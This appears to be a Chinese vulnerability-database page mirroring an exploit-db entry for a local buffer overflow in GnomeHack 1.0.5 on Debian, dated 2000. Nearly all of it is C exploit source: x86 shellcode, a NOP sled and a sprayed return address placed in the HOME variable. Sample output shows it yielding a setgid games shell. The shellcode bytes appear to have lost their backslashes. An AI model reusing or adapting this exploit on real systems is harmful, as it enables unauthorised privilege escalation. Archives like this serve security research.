GnomeHack 1.0.5 – Local Buffer Overflow

GnomeHack 1.0.5 – Local Buffer Overflow

漏洞ID 1053476 漏洞类型
发布时间 2000-11-15 更新时间 2000-11-15
图片[1]-GnomeHack 1.0.5 – Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-GnomeHack 1.0.5 – Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/180
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[[email protected]].
   this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
   on debian/2.2, which has gnomehack. (this can also be applied to nethack)

   syntax: ./deb_gnomehack [offset] [alignment].

   example:
   -------------------------------------------------
   # ./deb_gnomehack 500 0
   [ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[[email protected]]. ]
   [ return address: 0xbffff978, offset: 500, align: 0. ]
   sh-2.03$ id
   uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
   sh-2.03$
   -------------------------------------------------

   note: overflow exists in $NETHACKOPTIONS as well, like nethack.
*/
#define PATH "/usr/lib/games/gnomehack/gnomehack"       // path to gnomehack.
#define DEFAULT_OFFSET 500                              // default offset.
#define DEFAULT_ALIGN 0                                 // default alignment.
static char exec[]=
 "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0fxb8x1bx56"
 "x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80"
 "xe8xd7xffxffxffx2fx62x69x6ex2fx73x68x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[300];
 int i,offset,align;
 long ret;
 printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
 "org]. ]n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 if(argc>2){
  if(atoi(argv[2])>3||atoi(argv[2])<0){
   printf("*** ignored argument alignment value: %s. (use 0-3)n",argv[2]);
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[2]);}
 }
 else{align=DEFAULT_ALIGN;}
 ret=(esp()-offset);
 printf("[ return address: 0x%lx, offset: %d, align: %d. ]n",ret,offset,align);
 for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 setenv("HOME",bof,1);
 if(execlp(PATH,"gnomehack",0)){
  printf("*** execution of %s failed. (check the path)n",PATH);
  exit(-1);
 }
}

// milw0rm.com [2000-11-15]

相关推荐: Netscape Servers Suite Heap Buffer Overflow Vulnerability

Netscape Servers Suite Heap Buffer Overflow Vulnerability 漏洞ID 1103670 漏洞类型 Boundary Condition Error 发布时间 2000-10-31 更新时间 2000-10-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享